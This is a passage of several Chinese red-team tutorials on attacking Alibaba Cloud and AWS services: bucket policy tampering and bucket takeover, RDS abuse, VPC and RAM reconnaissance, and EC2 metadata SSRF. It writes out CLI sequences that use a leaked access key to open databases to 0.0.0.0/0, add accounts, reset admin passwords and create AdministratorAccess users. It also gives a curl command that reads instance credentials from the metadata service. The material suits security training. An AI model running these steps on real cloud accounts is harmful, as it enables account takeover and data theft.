153 | 154 | ![image-20220212140256729](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212140256729.png) 155 | 156 | ## 8、Bucket 策略配置可写 157 | 158 | 当我们访问存储桶的时候,会提示我们已经被policy拦截 159 | 160 | ![image-20220214111642789](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214111642789.png) 161 | 162 | 如果此时配置了存储桶的oss:PutBucketPolicy,就可以更改Deny为Allow即可访问 163 | 164 | ![image-20220214111722663](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214111722663.png) 165 | 166 | 我们可以看到Effect中设置为Deny,我们只需要将它更改为Allow即可 167 | 168 | ![image-20220214112003820](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214112003820.png) 169 | 170 | 随后使用PUT方法上传 171 | 172 | ![image-20220214112030036](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214112030036.png) 173 | 174 | 随后我们再使用GET获取 175 | 176 | ![image-20220214112059318](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214112059318.png) 177 | 178 | 此时我们可以正常看到存储桶中的对象了 179 | 180 | ![image-20220214112115270](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214112115270.png) 181 | 182 | ## 9、修改策略导致网站瘫痪 183 | 184 | 当策略可写的时候,除了上面的将可原本不可访问的数据设置为可访问从而获得敏感数据外,如果目标网站引用了某个 s3 上的资源文件,而且我们可以对该策略进行读写的话,也可以将原本可访问的资源权限设置为不可访问,这样就会导致网站瘫痪了。 185 | 186 | ![image-20220214114352567](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214114352567.png) 187 | 188 | 此时我们如果可以修改策略,我们只需要将获取该对象的权限修改为Deny,该网站既无法在获取图片,JS等信息了 189 | 190 | ![image-20220214114934078](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214114934078.png) 191 | 192 | ![image-20220214114949942](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214114949942.png) 193 | 194 | ## 10、实战案例 195 | 196 | 我们精心挑选了来自火线安全众测项目中,漏洞奖金较高的漏洞进行举例! 197 | 198 | ### 1、阿里云存储桶劫持 199 | 200 | ![image-20220224144542698](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224144542698.png) 201 | 202 | 此时可以看到访问该域名显示NoSuchBucket,那么只需要去阿里云存储桶重新创建一个与HostID一样的存储桶名称即可 203 | 204 | ![image-20220224144606258](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224144606258.png) 205 | 206 | ![image-20220224144726823](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224144726823.png) 207 | 208 | 随后只需要上传文件,就可以让该域名显示我们上传的任意文件 209 | 210 | ![image-20220224144940049](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224144940049.png) 211 | 212 | ### 2、反编译小程序,APP找到泄露的Key 213 | 214 | ![image-20220224145010457](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224145010457.png) 215 | 216 | ![image-20220224145017646](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224145017646.png) 217 | 218 | ![image-20220224145025052](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224145025052.png) 219 | 220 | ### 3、在JS文件中找到存在泄露的AccessKey 221 | 222 | ![image-20220224145140498](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224145140498.png) 223 | 224 | ![image-20220224145147967](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224145147967.png) 225 | 226 | ![image-20220224145154082](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224145154082.png) 227 | 228 | ![image-20220224145200090](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220224145200090.png) 229 | -------------------------------------------------------------------------------- /docs/articles/aliyun/阿里云 RDS 云数据库攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 阿里云 RDS 云数据库攻防 3 | id: aliyun_rds 4 | --- 5 | 6 | # 一、RDS存在的风险 7 | 8 | ## 1、弱口令 9 | 10 | 其实在设置密码的时候可以发现,设置的密码是强制大写加小写字母与数字的,如果这样组合,其实不一定存在弱口令,但是试了一下Qwe123123这种密码,发现居然可以,那么就可以确定,至少存在键盘弱口令的。 11 | 12 | ![image-20220401120528194](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401120528194.png) 13 | 14 | 虽然实战中遇到的几率很小,但是至少也是一个问题 15 | 16 | ## 2、源码泄露 17 | 18 | ![image-20220401115956407](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401115956407.png) 19 | 20 | 这个在实战中碰到的次数比较多,不过大部分都有一些局限的情况 21 | 22 | 1、服务部署在VPC内网,没有申请公网访问地址,所以无法通过公网连接,只能在VPC中通过内网地址连接 23 | 24 | 2、白名单的问题,如果想公网通过地址连接需要满足两个条件 25 | 26 | - 1、申请了公网地址,并且泄露 27 | - 2、白名单设置为0.0.0.0/0 28 | 29 | ![image-20220401122852048](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401122852048.png) 30 | 31 | 不过在一次红蓝中,通过公网的GIT泄露发现了泄露的源码,也就是上图,RDS和内网IP的数据库都无法连接,不过在打进云上内网后,通过frp,使用这些地址是可以连接的 32 | 33 | ![image-20220401121215753](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401121215753.png) 34 | 35 | ## 3、密钥泄露如何进行利用 36 | 37 | ### 3.1、获取所有DB实例 38 | 39 | ```bash 40 | aliyun rds DescribeDBInstances 41 | ``` 42 | 43 | ![image-20220401144309898](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401144309898.png) 44 | 45 | 此时会列出所有的RDS信息,可以看到所在的地区,连接的地址,版本,服务类型,我们注意到有一个DBInstanceID,然后我们可以使用以下命令获取指定实例ID下更详细的信息 46 | 47 | ```bash 48 | aliyun rds DescribeDBInstanceAttribute --DBInstanceId xxxx 49 | ``` 50 | 51 | ![image-20220401144755824](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401144755824.png) 52 | 53 | 这里可以看到实例的安全组等 54 | 55 | ### 3.2、申请公网访问地址 56 | 57 | ##### 查看是否存在公网访问地址 58 | 59 | ```bash 60 | aliyun rds DescribeDBInstanceNetInfo --DBInstanceId xxx 61 | ``` 62 | 63 | ![image-20220401145646520](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401145646520.png) 64 | 65 | 在这里我们可以看到RDS的访问地址,如果不存在公网访问地址的话,我们可以申请一个 66 | 67 | > 下图就是没有公网地址的返回结果 68 | 69 | ![image-20220401145920493](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401145920493.png) 70 | 71 | 那么我们尝试申请一个 72 | 73 | ##### 申请公网访问地址 74 | 75 | ```bash 76 | aliyun rds AllocateInstancePublicConnection --DBInstanceId xxxx --Port 1433 --ConnectionStringPrefix uzjuse 77 | ``` 78 | 79 | ![image-20220401150126571](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401150126571.png) 80 | 81 | 可以看到我们申请了一个公网地址,尝试访问试试 82 | 83 | ![image-20220401150350698](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401150350698.png) 84 | 85 | ![image-20220401150456486](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401150456486.png) 86 | 87 | 此时我们还无法访问,所以要添加白名单 88 | 89 | ### 3.3、添加白名单 90 | 91 | #### 查询指定RDS白名单 92 | 93 | ```bash 94 | aliyun rds DescribeDBInstanceIPArrayList --DBInstanceId xxx 95 | ``` 96 | 97 | 在添加白名单之前,我们首先要先查看一下白名单,在下图中可以看到,白名单显示,只允许127.0.0.1访问,下面一条是阿里云的默认安全组,用来做备份用的 98 | 99 | ![image-20220401150639629](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401150639629.png) 100 | 101 | #### 为指定实例添加白名单 102 | 103 | ```bash 104 | aliyun rds ModifySecurityIps --DBInstanceId xxxxx --SecurityIps 0.0.0.0/0 105 | ``` 106 | 107 | ![image-20220401151003122](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401151003122.png) 108 | 109 | ![image-20220401151051605](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401151051605.png) 110 | 111 | ### 3.4、创建账号 112 | 113 | 我们可以通过以下命令查询当前RDS中有哪些用户 114 | 115 | ```bash 116 | aliyun rds DescribeAccounts --DBInstanceId xxx 117 | ``` 118 | 119 | ![image-20220401151936422](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401151936422.png) 120 | 121 | ```bash 122 | aliyun rds CreateAccount --AccountName UzJuSecTest --AccountPassword Qwe123123 --DBInstanceId xxxx 123 | ``` 124 | 125 | ![image-20220401151450854](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401151450854.png) 126 | 127 | ![image-20220401151527721](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401151527721.png) 128 | 129 | 那么如果这个时候,我们连接上去,看到一个数据库,没有权限怎么办? 130 | 131 | ![image-20220401151748905](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401151748905.png) 132 | 133 | ### 3.5、为账号添加数据库权限 134 | 135 | #### 查询数据库有哪些 136 | 137 | ```bash 138 | aliyun rds DescribeDatabases --DBInstanceId xxx 139 | ``` 140 | 141 | 在为自己添加权限之前,我们需要知道,我们想看哪个数据库,或者从上面NaviCat的链接信息中也可以看到 142 | 143 | ![image-20220401152117237](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401152117237.png) 144 | 145 | #### 为自己添加uzju数据库的权限 146 | 147 | ```bash 148 | aliyun rds GrantAccountPrivilege --AccountName UzJuSecTest --AccountPrivilege DBOwner --DBName uzju --DBInstanceId xxx 149 | ``` 150 | 151 | ![image-20220401152409113](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401152409113.png) 152 | 153 | ![image-20220401152514495](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401152514495.png) 154 | 155 | 现在我们已经拥有了这个数据库的操作权限 156 | 157 | ### 3.6、直接修改高权限账号的密码 158 | 159 | 那么既然我们上面的步骤很繁琐,可不可以直接修改管理员的密码呢,答案是可以的,不过在真实环境中,修改管理员密码有可能会对业务造成不可挽回的后果 160 | 161 | ```bash 162 | aliyun rds ResetAccountPassword --AccountName uzju --AccountPassword Qwe123123 --DBInstanceId 163 | ``` 164 | 165 | ![image-20220401152746592](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401152746592.png) 166 | 167 | 在之前我们已经知道了Super账号的用户名,那么我们将密码修改为Qwe123123,随后尝试连接 168 | 169 | ![image-20220401152842812](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401152842812.png) 170 | 171 | ![image-20220401152848201](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401152848201.png) 172 | 173 | ![image-20220401152935833](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401152935833.png) 174 | 175 | # 二、总结 176 | 177 | RDS的攻击面基本都来自于用户侧配置问题,并且很多RDS都不会放在公网,而是在VPC的内网中,那么我们如果在公网中找到一个泄露了RDS账号与密码,可以保留起来,打进内网的时候也许能派上用场,并且在AK泄露的时候,我们也是需要拥有一定的权限,才可以做这些操作 178 | 179 | 遇到AK泄露,常规的利用方法无非就是三种 180 | 181 | 1、手动去调API(费时费力,属于盲猜的一种形式) 182 | 183 | 2、用行云管家这种工具 184 | 185 | 3、自己写工具,体力活,堆API 186 | -------------------------------------------------------------------------------- /docs/articles/aliyun/阿里云 VPC 与 LB 和 RAM 的信息收集.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 阿里云 VPC 与 LB 和 RAM 的信息收集 3 | id: aliyun_vpc_lb_ram 4 | --- 5 | 6 | # VPC环境搭建 7 | 8 | ### 1、创建第一个VPC 9 | 10 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage23d60009185c9fe26c9b0cfcfbd81f12-88786-20220401154905674.png) 11 | 12 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageb119a293138741b2c985f2d74294f6aa-182872-20220401154911082.png) 13 | 14 | ### 2、创建一个NAT 15 | 16 | 创建一个NAT,并在访问模式中选择SNAT,这样,同一个VPC中的所有机器人,都可以通过NAT网关访问公网 17 | 18 | 随后等待即可 19 | 20 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImagef289de6d55aa56305e219cd6170d3780-47966-20220401154916552.png) 21 | 22 | ### 3、创建一个ACL 23 | 24 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage2667563f7995bf9c483d9ffcfbc9576a-33100-20220401154929308.png) 25 | 26 | ### 4、创建第二个VPC 27 | 28 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage93ff67a450f181f205a021de1c7158c2-83727-20220401154935966.png) 29 | 30 | 同样把第二个VPC放在可用区H 31 | 32 | ### 5、创建第二个NAT 33 | 34 | 为第二个VPC创建一个NAT,与第一个VPC一样,这里我们选择SNAT 35 | 36 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImagec6e1710d4a7b24ef7ba34d9941829236-199660-20220401154944207.png) 37 | 38 | 随后等待即可 39 | 40 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage65aa3666168d4af129cc03c00b6f6572-40734-20220401154950493.png) 41 | 42 | ### 6、创建第二个网络ACL 43 | 44 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage61a16429f1b8bf448a4fc39fe23aa91b-31262-20220401154958515.png) 45 | 46 | 现在有两个VPC,我们来整体看一下目前的情况 47 | 48 | VPC 49 | 50 | - 子网192.168.0.0/16 51 | - 公网NAT 101.201.123.203 52 | - 交换机 vsw-2zefutsi7rnb0qai09b2y 53 | - 路由 vtb-2zeo25fbiv7v3zcdjbjys 54 | - ACL vpc-2ze4lqiw3cl7y3zvkj55e 55 | 56 | VPC2 57 | 58 | - 子网192.168.0.0/16 59 | - 公网NAT 59.110.13.178 60 | - 交换机 vsw-2zen9qtw6woqzqbzhhp4y 61 | - 路由 vtb-2ze8owepmc98208dkh1e6 62 | - ACL nacl-2zewc7vl9elzvlj7454v2 63 | 64 | # VPC可能存在的问题 65 | 66 | ### 信息收集(AK泄露) 67 | 68 | 在使用阿里云cli之前,需要配置好AK 69 | 70 | ```bash 71 | aliyun configure --mode ak 72 | ``` 73 | 74 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImagee1b7d33b69a1037684378eead2b10d3a-578527-20220401155024786.png) 75 | 76 | ### 1、VPC 77 | 78 | ```bash 79 | aliyun vpc DescribeVpcs 80 | ``` 81 | 82 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage56c83ea24434013f2474c5d3486f6f22-1978741-20220401155505963.png) 83 | 84 | 从这里我们可以看到我们的子网信息,NAT的名称,VPC的所有人 85 | 86 | ![image-20220401155704989](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401155704989.png) 87 | 88 | ### 2、Switch 89 | 90 | ```bash 91 | aliyun vpc DescribeVSwitches 92 | ``` 93 | 94 | 使用该命令可以查看所有的路由表,如果想查看指定的路由表,可以通过—help来查看所需要的参数 95 | 96 | ![image-20220401155728548](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401155728548.png) 97 | 98 | ![image-20220401155736512](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401155736512.png) 99 | 100 | 在获取VPC的信息的时候,我们获取到了所有人的账户ID,这里也可以通过所有人的ID来进行筛选与收集 101 | 102 | ```bash 103 | aliyun vpc DescribeVSwitches --VSwitchOwnerId xxx 104 | ``` 105 | 106 | ![image-20220401155753924](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401155753924.png) 107 | 108 | ### 3、NAT 109 | 110 | ```bash 111 | aliyun vpc DescribeNatGateways 112 | ``` 113 | 114 | ![image-20220401155852258](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401155852258.png) 115 | 116 | 可以通过该命令收集所有NAT网关信息,通过上面返回的信息,也可以查询SNAT表 117 | 118 | ![image-20220401155905497](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401155905497.png) 119 | 120 | ### 4、ACL 121 | 122 | ```bash 123 | aliyun vpc DescribeNetworkAcls 124 | # 详细API文档 https://help.aliyun.com/document_detail/34964.html 125 | ``` 126 | 127 | 通过该命令可以获取所有ACL 128 | 129 | ![image-20220401160100957](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401160100957.png) 130 | 131 | ### 5、安全组 132 | 133 | ```bash 134 | aliyun ecs DescribeSecurityGroups 135 | # 使用该命令可以获取目前所有的安全组信息 https://help.aliyun.com/document_detail/25556.html 136 | ``` 137 | 138 | ![image-20220401160122900](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220401160122900.png) 139 | 140 | ### 6 、LB 141 | 142 | 可以使用该命令收集获取SLB等信息 143 | 144 | ```bash 145 | aliyun slb DescribeLoadBalancers 146 | ``` 147 | 148 | ![image-20220506160039563](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220506160039563.png) 149 | 150 | ### 7、总结 151 | 152 | 其实AK泄露的利用方法有很多,以下提供两种思路 153 | 154 | #### 1、思路一 155 | 156 | 第一种思路是通过官方文档来进行KEY泄露的利用,首先打开阿里云官网 157 | 158 | ![image-20220402145952204](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220402145952204.png) 159 | 160 | ![image-20220402150047191](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220402150047191.png) 161 | 162 | 在这里不要选择直达或者说别的,直接选更多推荐 163 | 164 | ![image-20220402150133259](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220402150133259.png) 165 | 166 | 来到这里之后直接选择帮助文档,注意下面的来自的那个路径,然后进去看API即可 167 | 168 | ![image-20220402150207123](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220402150207123.png) 169 | 170 | 每一种接口名包括参数都会有解释 171 | 172 | ![image-20220402150236473](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220402150236473.png) 173 | 174 | 带上这些接口用阿里云 cli试就完事了 175 | 176 | 不过上述的这种方法,其实效率极低,等于在爆破了,爆破这个KEY到底有多少的权限,而且我们在纯黑盒的模式下拿到一个KEY,有可能权限很小,但是你花了很长的时间去尝试KEY的权限有多大,这是很麻烦的 177 | 178 | #### 2、思路二 179 | 180 | 其实这种思路就跟写存储桶利用或者检测工具一个原理,调SDK,把危险权限,或者有必要的权限全部请求一遍,然后就能知道结果了 181 | 182 | ![image-20220402151357840](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220402151357840.png) 183 | 184 | 工具的初衷就是帮助人解决繁琐的流程 185 | 186 | 187 | 188 | # 什么是RAM 189 | 190 | 不同的云厂商对于RAM的叫法都不太相同,比如,在AWS中,访问控制又称为IAM,在阿里云中,又被称为RAM,在腾讯云中又被称为CAM 191 | 192 | | 云厂商 | 名称 | 193 | | ------ | ---- | 194 | | 腾讯云 | CAM | 195 | | 阿里云 | RAM | 196 | | AWS | IAM | 197 | 198 | ![image-20220407104037742](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407104037742.png) 199 | 200 | 上图取自阿里云: [RAM用户概览 (aliyun.com)](https://help.aliyun.com/document_detail/122148.html?spm=5176.21213303.J_6704733920.17.588953c9ykJprR&scm=20140722.S_help%40%40文档%40%40122148.S_os%2Bhot.ID_122148-RL_RAM-LOC_helpmain-OR_ser-V_2-P0_2) 201 | 202 | 那么理解一下,也就是一个管理员权限的阿里云账户,可以生成多个RAM用户,这些RAM可以给不同的权限,没有指定权限的RAM用户无法访问对应的服务 203 | 204 | 那么常见的场景就是在企业中,运维需要给一个员工分配账号,假设他只需要RDS下的操作权限,那么按照权限最小化的原则,那么就只给他分配使用RDS需要分配的权限,不会超过这个权限范围内 205 | 206 | # RAM可能存在的问题 207 | 208 | ## 1、元数据 209 | 210 | 其实在ECS中的安全就已经讲到了,如果在ECS中部署的程序存在SSRF或者RCE(这里我们来说SSRF,并且假设当前的场景是有回显的SSRF,那么我们通过`http://100.100.100.200/latest/meta-data/`这个地址,获取ECS中的元数据,其实这里会存在一个问题,比如我们想读取临时的凭证,用这个凭证登录控制台,或者操作`aliyun cli`的话,其实默认配置下是不行的 211 | 212 | ![image-20220407104731233](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407104731233.png) 213 | 214 | ![image-20220407105025068](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105025068.png) 215 | 216 | 上面的图片中我们可以看到一个SSRF的靶场,我们获取到的元数据,其实中间并没有一个叫RAM的目录,这上述能读到的东西,都无法让攻击者利用漏洞进行下一步(至少在默认配置下),那么我们来回答上面的问题,为什么ECS在默认配置下是没有RAM的元数据目录 217 | 218 | ![image-20220407104912061](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407104912061.png) 219 | 220 | 我们在ECS中,必须为当前ECS去手动授予RAM角色,既然涉及到授予角色,必然就会存在权限过大的问题,那么假设管理员给的权限比较大 221 | 222 | ![image-20220407105153681](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105153681.png) 223 | 224 | 给了一个`AdministratorAccess`权限,那么此时如果造成了SSRF的话,就会出现下面的情况 225 | 226 | ![image-20220407105120157](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105120157.png) 227 | 228 | 攻击者通过SSRF请求元数据获取到了ram的AK 229 | 230 | ![image-20220407105245684](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105245684.png) 231 | 232 | ![image-20220407105348359](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105348359.png) 233 | 234 | 那么此时就可以通过阿里云cli命令行工具,来操作该RAM用户拥有权限的资源,例如通过这个登陆控制台 235 | 236 | 首先获取当前的账号别名 237 | 238 | ```bash 239 | aliyun ram GetAccountAlias 240 | ``` 241 | 242 | ![image-20220413113819824](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220413113819824.png) 243 | 244 | 创建RAM用户 245 | 246 | ```bash 247 | aliyun ram CreateUser --UserName xxx 248 | ``` 249 | 250 | ![image-20220413113834914](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220413113834914.png) 251 | 252 | 为RAM用户启用Web登陆 253 | 254 | ```bash 255 | aliyun ram CreateLoginProfile --UserName xxx --Password xxxx 256 | ``` 257 | 258 | ![image-20220407105749507](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105749507.png) 259 | 260 | 为指定用户添加权限 261 | ```bash 262 | aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx 263 | ``` 264 | 265 | ![image-20220407105831795](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105831795.png) 266 | 267 | 随后就可以登录控制台了 268 | 269 | ![image-20220407105849301](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105849301.png) 270 | 271 | ![image-20220407105856934](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105856934.png) 272 | 273 | ![image-20220407105924618](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407105924618.png) 274 | 275 | 当然,上述情况是理想情况,具体实际的还得看实战中情况而定 276 | 277 | ## 2、AK泄露 278 | 279 | 虽然AK泄露属于大部分的云产品都有这种问题,但是也无法避免,多半都是用户侧配置上的问题 280 | 281 | 如何调用API可参考:https://help.aliyun.com/document_detail/43766.html ,这里就不一一列举 282 | 283 | ![image-20220413113622189](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220413113622189.png) 284 | -------------------------------------------------------------------------------- /docs/articles/aws/AWS EC2 弹性计算服务攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: AWS EC2 弹性计算服务攻防 3 | id: aws_ec2 4 | --- 5 | 6 | ## 0x00 前言 7 | 8 | 在平时进行红蓝攻防演练的时候,经常会碰到目标资产在云服务机器上的情况,新的技术也会带来新的风险,本文将以 AWS 的 EC2(Elastic Compute Cloud)弹性计算服务为例,主要谈谈在面对云服务器场景下的一些攻防手法。 9 | 10 | 11 | 12 | ## 0x01 初始访问 13 | 14 | ### 1、元数据 15 | 16 | 元数据服务是一种提供查询运行中的实例内元数据的服务,当实例向元数据服务发起请求时,该请求不会通过网络传输,如果获得了目标 EC2 权限或者目标 EC2 存在 SSRF 漏洞,就可以获得到实例的元数据。 17 | 18 | 19 | 20 | 通过元数据,攻击者除了可以获得 EC2 上的一些属性信息之外,有时还可以获得与该实例绑定角色的临时凭证,并通过该临时凭证获得云服务器的控制台权限,进而横向到其他机器。 21 | 22 | 23 | 通过访问元数据的`/iam/security-credentials/`路径可以获得目标的临时凭证,进而接管目标服务器控制台账号权限,前提是目标需要配置 IAM 角色才行,不然访问会 404 24 | 25 | ```bash 26 | curl http://169.254.169.254/latest/meta-data/iam/security-credentials 27 | ``` 28 | 29 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648542914-612135-image.png) 30 | 31 | 通过元数据获得目标的临时凭证后,就可以接管目标账号权限了。 32 | 33 | ### 2、凭证泄露 34 | 35 | 云场景下的凭证泄露可以分成以下几种: 36 | 37 | - 控制台账号密码泄露,例如登录控制台的账号密码 38 | - 临时凭证泄露 39 | - 访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露 40 | - 实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露 41 | 42 | 43 | 对于这类凭证信息的收集,一般可以通过以下几种方法进行收集: 44 | 45 | - Github 敏感信息搜索 46 | - 反编译目标 APK、小程序 47 | - 目标网站源代码泄露 48 | 49 | ### 3、账号劫持 50 | 51 | 如果云厂商的控制台存在漏洞的话,用户账号也会存在一定的风险。 52 | 53 | 例如 AWS 的控制台曾经出现过一些 XSS 漏洞,攻击者就可能会使用这些 XSS 漏洞进行账号劫持,从而获得目标云服务器实例的权限。 54 | 55 | ### 4、恶意的镜像 56 | 57 | AWS 在创建实例的时候,用户可以选择使用公共镜像或者自定义镜像,如果这些镜像中有恶意的镜像,那么目标使用该镜像创建实例就会产生风险。 58 | 59 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-29/1648542976-777389-image.png) 60 | 61 | 以 CVE-2018-15869 为例,关于该漏洞的解释是:当人们通过 AWS 命令行使用「ec2 describe-images」功能时如果没有指定 --owners 